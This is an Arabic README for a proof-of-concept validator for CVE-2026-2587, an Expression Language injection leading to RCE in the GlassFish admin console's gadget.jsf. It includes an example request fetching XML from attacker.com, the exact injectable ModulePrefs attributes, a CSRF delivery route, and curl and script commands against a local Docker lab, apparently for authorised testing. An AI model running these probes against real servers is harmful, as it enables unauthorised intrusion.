مدقق PoC لـ CVE-2026-2587 لثغرة EL Injection في Eclipse GlassFish تؤدي إلى RCE في معالج gadget.jsf بوحدة التحكم الإدارية. ماسح آمن ومعتمد للثغرات للاختبار المصرح به.
أداة تحقق آمنة (PoC) لـ CVE-2026-2587، وهي ثغرة حرجة من نوع حقن Expression Language (EL) / تنفيذ أوامر عن بُعد (RCE) تؤثر على معالج الأدوات (gadget handler) في لوحة إدارة Eclipse GlassFish عبر /common/gadgets/gadget.jsf.
تساعد هذه الأداة فرق الأمن في التحقق من التعرض لـ CVE-2026-2587 في بيئات GlassFish المصرح بها باستخدام "كناري" (canary) حسابي عادي (benign arithmetic EL canary).
المُعين من قبل: مؤسسة Eclipse (CNA) · تاريخ النشر: 19 مايو 2026 CVSS:
9.6 حرج·AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:HCWE: CWE-917 — حقن Expression Language الإصدارات المتأثرة:غير معروفةفي الإفادة العامة حتى 21 مايو 2026 الإصدارات المصححة:غير معروفةفي الإفادة العامة حتى 21 مايو 2026 قاعدة الماسح الضوئي: الإصدار مخصص للسياق فقط في التوجيه/الإبلاغ؛ الحكم يتطلب دليلاً.
توجد ثغرة حرجة في تنفيذ الأوامر عن بُعد في معالج أدوات لوحة إدارة GlassFish. يقوم التطبيق بمعالجة ملفات .xml يتم جلبها من عنوان URL يُقدم عبر معامل الاستعلام gadget= ويقيم القيم التي يوفرها المستخدم داخل سمات <ModulePrefs> من خلال محرك Java Expression Language (EL) دون تعقيم أو هروب.```
GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml
إذا احتوى XML على `#{7*7}` في سمة `<ModulePrefs title="">`، يقوم GlassFish بتقييمه من جانب الخادم ويعيد `49` — مما يؤكد تنفيذ EL. وتتبع سلسلة كاملة من RCE عبر وصول EL إلى وقت تشغيل Java.
السجلات الاستشارية العامة الحالية لا تنشر نطاق الإصدارات المتأثرة أو المصححة. لهذا فإن هذا المدقق يعتمد على الإثبات أولاً: فهو يبصم GlassFish ويبلغ عن بيانات الإصدار، لكنه لا يصنف الهدف على أنه ضعيف من خلال سلسلة الإصدار وحدها.
---
## كيف يعمل

يقوم مسار التحقق الآمن باستضافة استعلام XML غير ضار، ويرسل طلبًا موثًقًا إلى وحدة تحكم الإدارة إلى `gadget.jsf`، ويترك GlassFish يقوم بجلب ذلك XML من رابط الاستدعاء الخلفي، ويتحقق مما إذا كان الكناري `<ModulePrefs title="">` يقيم من `#{7*7}` إلى `49`.
**تأكيد نقطة الحقن مقابل عدمه:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" /> <!-- returns 49 -->
<ModulePrefs description="#{7*7}" /> <!-- returns 49 -->
<!-- ❌ EL NOT evaluated -->
<Content type="html">
<![CDATA[ #{7*7} ]]> <!-- returns #{7*7} literally -->
</Content>
| السيناريو | هل المصادقة مطلوبة؟ |
|---|---|
الوصول المباشر إلى gadget.jsf | نعم — مصادقة FORM، صفحة تسجيل دخول 200 |
| هجوم CSRF واقعي | لا — يستغل جلسة المدير النشطة |
| هذا المُتحقّق | نعم — --cookie أو --username/--password |
| فحص التعرض غير المُصادَق عليه | لا — يقوم البرنامج النصي باختبار هذا تلقائيًا |
ناقل CVSS PR:N / UI:R يعني:
PR:N — لا يحتاج المهاجم إلى أي بيانات اعتماد خاصة بهUI:R — يجب أن يتفاعل مسؤول مسجل الدخول (تسليم CSRF)للتحقق المخبري، تجاوز CSRF تمامًا — استخدم جلستك الإدارية الخاصة مباشرة.
المتطلبات: Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests
pip install colorama
**محتويات المستودع:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│ └── cve-2026-2587-validation-flow.png ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py ← main script
├── probe.xml ← ready-to-host static probe XML
├── targets.txt.example ← multi-target file template
└── README.md
ملاحظة: لا تزال GHSA تدرج الإصدارات المتأثرة والمصححة على أنها غير معروفة.
omnifish/glassfish:7.0.15هو مرشح مختبر قوي — ليس بناءً مضمونًا ليكون عرضة للخطر. تظل أداة التحقق الأولية هي الكناري الحسابي: إذا كان#{7*7}يساوي49، فإن EL نشط.
docker compose -f docker-compose.lab.yml up
يقوم بتشغيل GlassFish 7.0.15 مع ربط المنافذ بـ `127.0.0.1` فقط و `host.docker.internal` مربوط مسبقًا بحيث يمكن للحاوية الوصول إلى خادم XML المحلي الخاص بك.
### الخيار ب — docker run مباشر```bash
docker run --rm \
--name gf-cve-2026-2587-lab \
-p 127.0.0.1:8080:8080 \
-p 127.0.0.1:4848:4848 \
--add-host=host.docker.internal:host-gateway \
omnifish/glassfish:7.0.15
وحدة التحكم الإدارية: https://localhost:4848 · تسجيل الدخول: admin / admin
(شهادة ذاتية التوقيع — تحذير المتصفح متوقع.)
في محطة طرفية ثانية:```bash
python3 -m http.server 8000 --bind 0.0.0.0
تحقق من إمكانية الوصول من منظور الحاوية:```bash
docker exec gf-cve-2026-2587-lab \
curl -s http://host.docker.internal:8000/probe.xml | head -5
سجل الدخول إلى لوحة التحكم الإدارية أولاً (جلسة متصفح أو --cookie)، ثم:```bash
curl -sk
-H "Cookie: JSESSIONID=YOUR_SESSION_ID"
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http%3A%2F%2Fhost.docker.internal%3A8000%2Fprobe.xml"
| grep -oE 'CVE2587_(TITLE|BODY)_[^"< ]+'
| المخرجات | المعنى |
|---|---|
| `CVE2587_TITLE_49_END` | **قابل للاختراق** — تم تقييم EL في `ModulePrefs title` |
| `CVE2587_BODY_49_END` | **قابل للاختراق** — تم تقييم EL في نص CDATA |
| `CVE2587_TITLE_#{7*7}_END` | غير قابل للاختراق / لم يتم تقييم EL |
| *(no output)* | لم يقم GlassFish بجلب XML — تحقق من إمكانية الوصول إلى الاستدعاء |
> عادةً ما يظل نص CDATA خامًا حتى في الإصدارات القابلة للاختراق؛ نتيجة `TITLE` الإيجابية وحدها كافية لتأكيد النتيجة.
---
### التحقق الآلي ضد المختبر المحلي```bash
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--username admin --password admin \
--insecure --verbose